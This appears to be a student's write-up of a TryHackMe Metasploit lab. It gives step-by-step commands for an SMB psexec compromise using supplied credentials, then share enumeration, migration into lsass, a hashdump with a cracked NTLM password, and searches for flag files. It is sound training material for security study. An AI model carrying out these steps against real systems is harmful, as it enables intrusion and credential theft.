Metasploit Challenge

In this example I will be using my combined knowledge of metasploit to attack a target machine documenting my step by step processes on how and why I have done what I did.

I will also be following the attack box instructions just to ensure I am going about it correctly.

In the previous Meterpreter module I learned about some very important commands, as well as fabricating a cheat sheet together with a list of handy codes to input and refer to.

Commands such as **getsystem** and **hashdump** are going to be crucial in providing me with the necessary information for privilege escalation and lateral movement. Remember laterally is going within the same privilege and seeing how much information we can extract on that level.

Target IP Address: 10.10.189.85
Credentials:
Username: ballen
Password: Password1

1. Firstly I activate the console by inputting **msfconsole** on the command prompt screen, which launches the Matasploit Framework. Once it is loaded, it contains a funny pop up message just to let me know it has run successfully.
2. Then reading the instructions it says we can use the credentials to simulate an initial compromise over SMB and then shows this path: exploit/windows/smb/psexec.
   So I clicked search exploit/windows/smb/psexec.
3. I then got a series of 6 values 0-5 to choose from. I wanted 0, to select out target. So I inputted the code: use 0. Now I am running in exploit(windows/smb/psexec) >.
4. I then set the following:
   RHOST 10.10.189.85
   smbpass Password1
   Smbuser ballen
   I then showed options to ensure the information I inputted was correct, evaluating it against the THM room to ensure it was right.
5. Seeing the information was correctly set, I then ran the command. After waiting it then put me into meterpreter.
6. So now we are in and have access, I can see the questions I am being asked by THM to answer. Such as, what is the computer name? We can use the command system info **sysinfo.**

```
meterpreter > sysinfo
Computer        : ACME-TEST
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : FLASH
Logged On Users : 7
Meterpreter     : x86/windows
```

7. Now we have the computer name, and the target domain listed so the first 2 questions can be answered.
8. The next step is to use post/windows/gather/enum_shares to get the name of the share likely created by the user. So I will background this current task by using the code background. Next I will search for it again as I did before only this time instead of selecting it I ran shell instead. Using >net share allowing me to bring up additional information.

```
C$           C:\                                Default share
IPC$                                            Remote IPC
ADMIN$       C:\Windows                         Remote Admin
NETLOGON     C:\Windows\SYSVOL\sysvol\FLASH.local\SCRIPTS
                                                Logon server share
speedster    C:\Shares\speedster
SYSVOL       C:\Windows\SYSVOL\sysvol           Logon server share
The command completed successfully.
```

9. With this information the share likely created by the user is “speedster”. Next I am going to exit and prepare for the next step.
10. I then inputted the command >ps which allowed me to see all the processes that were currently on the machine. Using the hint we are looking for the process “lsass.exe”, then run it in hashdump on PID 772.
11. Now we migrate using >migrate 772

```
meterpreter > migrate 772
[*] Migrating from 2756 to 772...
[*] Migration completed successfully.
```

12. Now we are here we can hashdump to get the next answer. 69596c7aa1e8daee17f8e78870e25a5c
13. Putting that hash into the password hash cracker, NTLM came back as : Trustno1
14. Next we need to find the secrets.txt file hidden away. So I use on the command prompt the code: >search -f secrets.txt. Because it is probably searching many, many files it may take a while. Once it came back it came back with the file path:

```
Path                                                  Size (bytes)  Modified (UTC)
----                                                  ------------  --------------
c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt  35            2021-07-30 08:44:27 +0100
```

15. Now I will have to cat the file which allows me to open it. In this case it will be a rather long: cat “c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt”

```
meterpreter > cat "c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt"
My Twitter password is KDSvbsw3849!meterpreter >
```

16. I have now been instructed to find the “realsecrets.txt” file so this time I do: >search -f realsecrets.txt

```
Path                              Size (bytes)  Modified (UTC)
----                              ------------  --------------
c:\inetpub\wwwroot\realsecret.txt  34           2021-07-30 09:30:24 +0100
```

17. I finally open the file contents again, similarly to the secrets file.
    >cat “c:\inetpub\wwwroot\realsecret.txt”

```
meterpreter > cat "c:\inetpub\wwwroot\realsecret.txt"
The Flash is the fastest man alivemeterpreter >
```

    Lol…

Conclusion:
Metasploit is a very powerful tool and I can see why it is widely used in hacking applications. However, my constant progress into TryHackMe has taught me one thing. The humble pie I am eating is incredibly bitter! There are a lot of tools, methods, strategies and there is never 1 way to do something. I love this because it is challenging but also rewarding when done correctly. It also teaches me the absolute importance of practical hands-on experience because you can never know what you are really capable of until presented with the real world scenarios. For me I crave the experience as I continue, and when I go to university be able to practically demonstrate my practical understanding and also test it.